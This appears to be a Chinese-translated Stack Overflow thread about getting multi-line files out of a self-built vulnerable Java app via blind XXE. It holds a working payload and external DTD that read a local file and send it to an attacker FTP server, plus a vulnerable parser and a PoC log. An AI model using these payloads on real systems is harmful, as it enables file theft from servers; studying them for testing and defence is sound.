首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >XXE -无法检索包含多行的文件

XXE -无法检索包含多行的文件
EN

Stack Overflow用户
提问于 2019-10-15 21:32:39
回答 2查看 850关注 0票数 0

我创建了一个易受(盲) XXE攻击的Java应用程序。

我能够利用该漏洞,并使用以下方法检索包含一行的文件:

1)截取XML请求,修改如下:

代码语言:javascript
复制
<?xml version='1.0'?>
    <!DOCTYPE xxe [
        <!ENTITY % EvilDTD SYSTEM 'http://192.168.27.152/evil_oob.dtd'>
        %EvilDTD;
        %LoadOOBEnt;
        %OOB;
    ]>

2)在192.168.27.152上,在端口80上提供以下evil_oob.dtd:

代码语言:javascript
复制
<!ENTITY % resource SYSTEM "file:///C:/temp/test.txt">
<!ENTITY % LoadOOBEnt "<!ENTITY &#x25; OOB SYSTEM 'ftp://192.168.27.152:2121/%resource;'>">

3)在攻击者机器的端口2121上运行修改后的FTP服务器(Python)。

正如我前面所解释的,当test.txt只包含一行时,一切正常。但是,如果test.txt包含多行(因此是回车符),则ftp URL无效,并且我得到以下错误:

代码语言:javascript
复制
java.io.IOException: sun.net.ftp.FtpProtocolException: Illegal FTP
command     at
 sun.net.www.protocol.ftp.FtpURLConnection.getInputStream(FtpURLConnection.java:518)

<... snip ...>

at java.lang.Thread.run(Thread.java:748) Caused by:
  sun.net.ftp.FtpProtocolException: Illegal FTP command     at
  sun.net.ftp.impl.FtpClient.issueCommand(FtpClient.java:533)   at
  sun.net.ftp.impl.FtpClient.openDataConnection(FtpClient.java:752)     at
  sun.net.ftp.impl.FtpClient.getFileStream(FtpClient.java:1293)     at
  sun.net.www.protocol.ftp.FtpURLConnection.getInputStream(FtpURLConnection.java:435)
    ... 114 more Caused by: java.lang.IllegalArgumentException: **Illegal
  carriage return**     at
  sun.net.ftp.impl.FtpClient.issueCommand(FtpClient.java:535)

我还尝试用运行在不同端口上的http服务器替换FTP服务器,但我当然得到了类似的错误,因为URL在这种情况下也是无效的。

我想知道是否有可能通过盲XXE检索包含多行的文件?我知道在PHP中你有时可以使用PHP过滤器对文件进行base64编码,但在Java中情况并非如此。

我已经读了几十篇帖子,但找不到实现我目标的方法。

EN

回答 2

Stack Overflow用户

发布于 2020-07-05 08:10:40

这曾经适用于旧版本的Java,但现在不再适用了。它在Java 7中的某个时候打了补丁。

您可以在docker容器上使用旧版本的Java对其进行测试。我找不到现成的,但你可以使用一个旧版本的阿尔卑斯来测试这一点。下面是它的示例Dockerfile

代码语言:javascript
复制
FROM alpine:3.3

ENV JAVA_HOME=/usr/lib/jvm/default-jvm

RUN apk add --no-cache openjdk7 && \
    ln -sf "${JAVA_HOME}/bin/"* "/usr/bin/"

构建它:

代码语言:javascript
复制
docker build -t openjdk7:91 .

您可以使用以下代码模拟易受攻击的服务器:

代码语言:javascript
复制
import javax.xml.parsers.*;
import org.xml.sax.*;
import javax.xml.transform.dom.*;
import org.w3c.dom.Document;

public class JavaXXE{

    public static void main(String []args) throws Exception{

        String xml = "xxe_trigger.xml";
        DocumentBuilderFactory df = DocumentBuilderFactory.newInstance();
        DocumentBuilder builder = df.newDocumentBuilder();
        Document document = builder.parse(new InputSource(xml));
        DOMSource domSource = new DOMSource(document);
    
    }
}

将此文件另存为JavaXXE.java。将XML (和XXEs)放在一个名为xxe_trigger.xml的文件中。然后在docker上运行代码(它会将当前目录映射到Docker的/tmp):

代码语言:javascript
复制
docker run --rm -v `pwd`:/tmp --workdir /tmp openjdk7:91 sh -c '/usr/lib/jvm/default-jvm/bin/javac JavaXXE.java && java JavaXXE'

您将看到它将命中您的FTP服务器,并将该文件的所有行作为命令进行转储。PoC:

代码语言:javascript
复制
FTP. New client connected
< USER anonymous
< PASS Java1.7.0_91@
>230 user logged in
< TYPE I
> 230 more data please!
< EPSV ALL
> 230 more data please!
< EPSV
> 230 more data please!
< EPRT |1|172.17.0.2|35351|
200 EPRT command ok
< RETR this is a two line test to 
> 230 more data please!
< check newline handling capability
> 230 more data please!
票数 0
EN

Stack Overflow用户

发布于 2020-11-07 14:06:11

这是因为Java的新版本不支持多行URI。对于那些有这个问题的人,您可以尝试切换到更低的java版本,比如JDK8u102

票数 0
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/58395997

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档